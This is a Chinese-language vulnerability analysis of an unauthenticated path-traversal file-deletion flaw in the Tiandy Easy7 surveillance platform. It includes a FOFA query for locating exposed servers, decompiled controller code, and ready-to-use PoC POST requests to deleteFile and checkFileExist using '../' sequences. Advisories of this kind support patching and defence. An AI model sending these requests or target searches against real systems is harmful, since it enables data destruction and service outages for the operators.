漏洞简介
天地伟业Easy7是一款用于视频监控管理的软件系统。
该系统的/Easy7/rest/file/deleteFile接口在处理文件删除请求时,直接将用户传入的参数与预设路径拼接,且未对路径回溯符(../)进行任何过滤或校验。这使得攻击者可以跳出预设的存储目录,删除服务器上任意位置的、且应用进程有权操作的文件,可能导致系统崩溃或业务中断。
影响版本
fofa语法
body="/Easy7/apps/WebService/LogIn.jsp" || body="Easy7/VideoLib.EXE" || body="/Easy7/index.html" || (body="<img src=\"./images/ico/Easy7_logo_transparent.png") && title="平台"
漏洞分析
首先,该系统基于Spring 3.0,比较古老且WEB-INF/web.xml里没有配置任何filter进行权限校验,因此绝大部分接口都是可以直接访问的。
再来看本次的漏洞接口 /Easy7/rest/file/deleteFile 的对应方法deleteFile()的实现逻辑
@Controller
@RequestMapping({"/file"})
public class CLS_REST_File {
@Resource(
name = "boSystemInfo"
)
private CLS_BO_SystemInfo boSystemInfo;
@Resource(
name = "boFile"
)
private CLS_BO_File boFile;
@Resource(
name = "boPROXY"
)
private CLS_BO_PROXY boPROXY;
private static final Log log = LogFactory.getLog(CLS_REST_File.class);
@RequestMapping({"/deleteFile"})
public void deleteFile(HttpServletRequest request, HttpServletResponse response, CLS_VO_File voFile) throws Exception {
if (CLS_Easy7_Types.SYSTEM_TYPE_IS_ZF == 0) {
if (this.boSystemInfo.checkSystemTypeZF()) {
CLS_Easy7_Types.SYSTEM_TYPE_IS_ZF = 1;
} else {
CLS_Easy7_Types.SYSTEM_TYPE_IS_ZF = -1;
}
}
if (CLS_Easy7_Types.SYSTEM_TYPE_IS_ZF == 1) {
this.deleteFileForZf(request, response, voFile);
} else {
this.deleteFileForIts(request, response, voFile);
}
}
根据this.boSystemInfo.checkSystemTypeZF()的结果决定进入deleteFileForZf方法或者deleteFileForIts方法,深入进去看下
记录存在时,返回true,进入deleteFileForZf方法,否则进入deleteFileForIts方法,下面是两个方法的实现方式
可见,不论进入那一个方法,都是直接拼接用户可控的参数fileName(文件路径)来进行文件删除造成, 且没有对文件名参数进行过滤或校验,因此可以利用目录遍历删除任意文件。
漏洞复现
删除之前上传的一个文本为例,通过可控fileName多级目录穿越即可穿越到任意目录,同时支持两种场景。
POST /Easy7/rest/file/deleteFile HTTP/1.1
Host: easy7.mrxn.net
Content-Type: application/x-www-form-urlencoded
fileName=../../../../root/srsPath/1.txt&uploadPicturePath=/
成功删除
或者通过 checkFileExist 方法判断文件是否存在
POST /Easy7/rest/file/checkFileExist HTTP/1.1
Host: easy7.mrxn.net
Content-Type: application/x-www-form-urlencoded
fileName=../../../../root/srsPath/1.txt&uploadPicturePath=/
如果不存在则响应 {"ret":-7,"content":null,"count":0}


